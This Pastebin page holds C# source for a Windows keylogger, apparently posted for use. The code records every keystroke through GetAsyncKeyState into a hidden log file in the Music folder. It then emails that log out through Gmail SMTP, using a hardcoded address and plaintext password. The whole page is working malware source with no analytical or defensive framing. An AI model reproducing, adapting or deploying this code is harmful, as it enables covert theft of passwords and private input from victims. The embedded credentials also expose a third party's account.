Advertisement
Arcadia1517

Key

Mar 20th, 2019
497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.80 KB | None | 0 0
  1. using System;
  2.  
  3. using System.Collections.Generic;
  4.  
  5. using System.Linq;
  6.  
  7. using System.Text;
  8.  
  9. using System.Threading.Tasks;
  10.  
  11. using System.IO;
  12.  
  13. using System.Threading;
  14.  
  15. using System.Windows.Forms;
  16.  
  17. using System.Runtime.InteropServices;
  18.  
  19. using System.Net.Mail;
  20.  
  21.  
  22.  
  23. namespace newapplicationKeylogger
  24.  
  25. {
  26.  
  27.    class Program
  28.  
  29.    {
  30.  
  31.        private static int i;
  32.  
  33.  
  34.        [DllImport("User32.dll")]
  35.  
  36.  
  37.        public static extern int GetAsyncKeyState(Int32 i);
  38.  
  39.       
  40.  
  41.        static void Main(string[] args)
  42.  
  43.        {
  44.  
  45.            Random rand = new Random();
  46.  
  47.            int randomnumber = rand.Next(1, 21);
  48.  
  49.            if (20 == 20)
  50.  
  51.            {
  52.  
  53.                SendMail();
  54.  
  55.            }
  56.  
  57.            LogKeys();
  58.  
  59.            
  60.  
  61.          
  62.  
  63.        }
  64.  
  65.        static void SendMail()
  66.  
  67.        {
  68.  
  69.            String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  70.  
  71.            string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.text"; // get log path
  72.  
  73.  
  74.            DateTime dateTime = DateTime.Now; // call date
  75.  
  76.            string subtext = "Loggedfiles"; // email subject
  77.  
  78.            subtext += dateTime;
  79.  
  80.  
  81.            SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // 587 is gmail's port
  82.  
  83.            MailMessage LOGMESSAGE = new MailMessage();
  84.  
  85.            LOGMESSAGE.From = new MailAddress("opeg1111@gmail.com"); // enter email that sends logs
  86.  
  87.            LOGMESSAGE.To.Add("opeg1111@gmail.com"); // enter recipiant
  88.  
  89.            LOGMESSAGE.Subject = subtext; // subject
  90.  
  91.  
  92.            client.UseDefaultCredentials = false;      // call email creds
  93.  
  94.            client.EnableSsl = true;
  95.  
  96.            client.Credentials = new System.Net.NetworkCredential("opeg1111@gmail.com", "nonose77");
  97.  
  98.                                                                      // enter your own email and password here ^^
  99.  
  100.  
  101.            string newfile = File.ReadAllText(Newfilepath2); // reads log file
  102.  
  103.            System.Threading.Thread.Sleep(2);
  104.  
  105.            string attachmenttextfile = Newfilepath + @"\LogsFolder\attachmenttextfile.text"; // path to find new file !
  106.  
  107.            File.WriteAllText(attachmenttextfile, newfile); // writes all imformation to new file
  108.  
  109.            System.Threading.Thread.Sleep(2);
  110.  
  111.            LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2)); // addds attachment to email
  112.  
  113.            LOGMESSAGE.Body = subtext; // body of message im just leaving it blank
  114.  
  115.            client.Send(LOGMESSAGE); // sends message
  116.  
  117.            LOGMESSAGE = null; // emptys previous values !
  118.  
  119.            
  120.  
  121.            
  122.  
  123.        }
  124.  
  125.        static void LogKeys()
  126.  
  127.        {
  128.  
  129.            String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  130.  
  131.            filepath = filepath + @"\LogsFolder\";
  132.  
  133.  
  134.            if (!Directory.Exists(filepath))
  135.  
  136.            {
  137.  
  138.                Directory.CreateDirectory(filepath);
  139.  
  140.            }
  141.  
  142.  
  143.            string path = (@filepath + "LoggedKeys.text");
  144.  
  145.  
  146.            if (!File.Exists(path))
  147.  
  148.            {
  149.  
  150.                using (StreamWriter sw = File.CreateText(path))
  151.  
  152.                {
  153.  
  154.  
  155.                }
  156.  
  157.                //end
  158.  
  159.            }
  160.  
  161.  
  162.            KeysConverter converter = new KeysConverter();
  163.  
  164.            string text = "";
  165.  
  166.  
  167.            while (5 > 1)
  168.  
  169.            {
  170.  
  171.  
  172.                Thread.Sleep(5);
  173.  
  174.                for (Int32 i = 0; i < 2000; i++)
  175.  
  176.                {
  177.  
  178.                    int key = GetAsyncKeyState(i);
  179.  
  180.                    
  181.  
  182.                    if (key == 1 || key == -32767)
  183.  
  184.                    {
  185.  
  186.                        text = converter.ConvertToString(i);
  187.  
  188.                        using (StreamWriter sw = File.AppendText(path))
  189.  
  190.                        {
  191.  
  192.                            sw.WriteLine(text);
  193.  
  194.                        }
  195.  
  196.                        break;
  197.  
  198.  
  199.                    }
  200.  
  201.  
  202.                }
  203.  
  204.  
  205.            }
  206.  
  207.  
  208.        }
  209.  
  210.  
  211.    }
  212.  
  213.        }
  214.  
  215.    
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement